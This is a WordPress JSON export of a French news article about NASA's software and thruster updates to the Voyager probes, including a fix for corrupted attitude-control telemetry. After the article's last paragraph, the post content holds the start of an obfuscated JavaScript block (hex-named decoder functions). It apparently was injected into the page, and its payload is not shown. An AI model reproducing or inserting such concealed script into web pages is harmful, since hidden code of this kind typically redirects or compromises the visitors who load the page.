{"id":14684,"date":"2023-10-24T11:34:01","date_gmt":"2023-10-24T09:34:01","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=14684"},"modified":"2023-10-24T11:34:02","modified_gmt":"2023-10-24T09:34:02","slug":"les-sondes-spatiales-voyager-de-la-nasa-recoivent-des-mises-a-jour-logicielles-inedites-a-des-milliards-de-kilometres-de-distance","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/les-sondes-spatiales-voyager-de-la-nasa-recoivent-des-mises-a-jour-logicielles-inedites-a-des-milliards-de-kilometres-de-distance\/","title":{"rendered":"Les sondes spatiales Voyager de la NASA re\u00e7oivent des mises \u00e0 jour logicielles in\u00e9dites \u00e0 des milliards de kilom\u00e8tres de distance"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Les sondes spatiales Voyager de la NASA re\u00e7oivent des mises \u00e0 jour logicielles in\u00e9dites \u00e0 des milliards de kilom\u00e8tres de distance\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p class=\"has-white-color has-vivid-cyan-blue-background-color has-text-color has-background has-medium-font-size\">Pr\u00e8s de 46 ans apr\u00e8s le lancement des sondes Voyager 1 et Voyager 2 de la NASA pour leur \u00e9pique voyage d&#8217;exploration spatiale, le mat\u00e9riel antique de ces sondes continue de recevoir des ajustements \u00e0 distance.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"650\" height=\"366\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/23056f63-9c39-4582-b275-2550828e72e8.jpeg\" alt=\"\" class=\"wp-image-14685\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/23056f63-9c39-4582-b275-2550828e72e8.jpeg 650w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/23056f63-9c39-4582-b275-2550828e72e8-600x338.jpeg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/23056f63-9c39-4582-b275-2550828e72e8-200x113.jpeg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/23056f63-9c39-4582-b275-2550828e72e8-110x62.jpeg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/23056f63-9c39-4582-b275-2550828e72e8-420x236.jpeg 420w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">L&#8217;une des mises \u00e0 jour, une correction logicielle, a pour objectif de r\u00e9soudre les probl\u00e8mes de donn\u00e9es corrompues que Voyager 1 a commenc\u00e9 \u00e0 transmettre l&#8217;ann\u00e9e derni\u00e8re. Une autre s\u00e9rie de mises \u00e0 jour vise \u00e0 emp\u00eacher l&#8217;accumulation de d\u00e9bris dans les propulseurs des deux sondes spatiales. Ces mises \u00e0 jour ont pour but de maintenir le contact avec la Terre aussi longtemps que possible.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">&#8220;\u00c0 ce stade avanc\u00e9 de la mission, l&#8217;\u00e9quipe d&#8217;ing\u00e9nierie est confront\u00e9e \u00e0 des d\u00e9fis pour lesquels il n&#8217;existe tout simplement pas de manuel&#8221;, a d\u00e9clar\u00e9 Linda Spilker, scientifique du projet pour la mission au Jet Propulsion Laboratory de la NASA. &#8220;Pourtant, ils continuent de trouver des solutions cr\u00e9atives.&#8221;<\/p>\n\n\n\n<p class=\"has-medium-font-size\">En mai 2022, le contr\u00f4le au sol a commenc\u00e9 \u00e0 recevoir des donn\u00e9es incoh\u00e9rentes du syst\u00e8me d&#8217;articulation et de contr\u00f4le de l&#8217;attitude (AACS) de Voyager 1, qui permet \u00e0 la sonde de maintenir son antenne align\u00e9e avec la Terre. Jusqu&#8217;\u00e0 pr\u00e9sent, les enqu\u00eateurs n&#8217;ont pu d\u00e9terminer aucune d\u00e9faillance mat\u00e9rielle dans l&#8217;AACS, mais pour une raison inconnue, le syst\u00e8me avait dirig\u00e9 ses donn\u00e9es de t\u00e9l\u00e9m\u00e9trie \u00e0 travers un ordinateur de bord d\u00e9saffect\u00e9, provoquant la corruption des donn\u00e9es.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Les ing\u00e9nieurs ont \u00e9labor\u00e9 une mise \u00e0 jour logicielle pour r\u00e9soudre ce probl\u00e8me, qu&#8217;ils ont tout d&#8217;abord transmise \u00e0 Voyager 2 le 20 octobre.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Bien que cette correction ne r\u00e9ponde pas \u00e0 la question de savoir pourquoi l&#8217;AACS avait d\u00e9vi\u00e9 les donn\u00e9es de t\u00e9l\u00e9m\u00e9trie en premier lieu &#8211; un myst\u00e8re qui pourrait indiquer un probl\u00e8me plus vaste avec Voyager 1 &#8211; les ing\u00e9nieurs sont convaincus que cette mise \u00e0 jour devrait r\u00e9soudre le probl\u00e8me. Du moins, apr\u00e8s que la transmission de la mise \u00e0 jour aura achev\u00e9 son voyage de plus de 20 heures vers Voyager 1.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Parall\u00e8lement, les sondes Voyager peuvent ajuster leurs antennes en utilisant des propulseurs. Cependant, chaque mise \u00e0 feu des propulseurs laisse des r\u00e9sidus dans les tubes d&#8217;admission, qui permettent au carburant d&#8217;entrer dans les propulseurs. Au fil des d\u00e9cennies de man\u0153uvres, ces r\u00e9sidus se sont accumul\u00e9s, et les ing\u00e9nieurs craignent que les tubes puissent bient\u00f4t se boucher compl\u00e8tement.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Ainsi, en septembre et en octobre, les ing\u00e9nieurs ont commenc\u00e9 \u00e0 permettre aux sondes spatiales de tourner davantage, dans le but de r\u00e9duire la fr\u00e9quence \u00e0 laquelle elles doivent utiliser leurs propulseurs. Si ces man\u0153uvres r\u00e9ussissent, elles devraient permettre de maintenir l&#8217;\u00e9coulement du carburant pendant encore cinq ans, au moins.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Les sondes spatiales Voyager de la NASA re\u00e7oivent des mises \u00e0 jour logicielles in\u00e9dites \u00e0 des milliards de kilom\u00e8tres de distance\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Les sondes spatiales Voyager de la NASA re\u00e7oivent des mises \u00e0 jour logicielles in\u00e9dites \u00e0 des milliards de kilom\u00e8tres de distance\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Pr\u00e8s de 46 ans apr\u00e8s le lancement des sondes Voyager 1 et Voyager 2 de la NASA pour leur \u00e9pique voyage d&#8217;exploration spatiale, le mat\u00e9riel antique de ces sondes continue de recevoir des ajustements \u00e0 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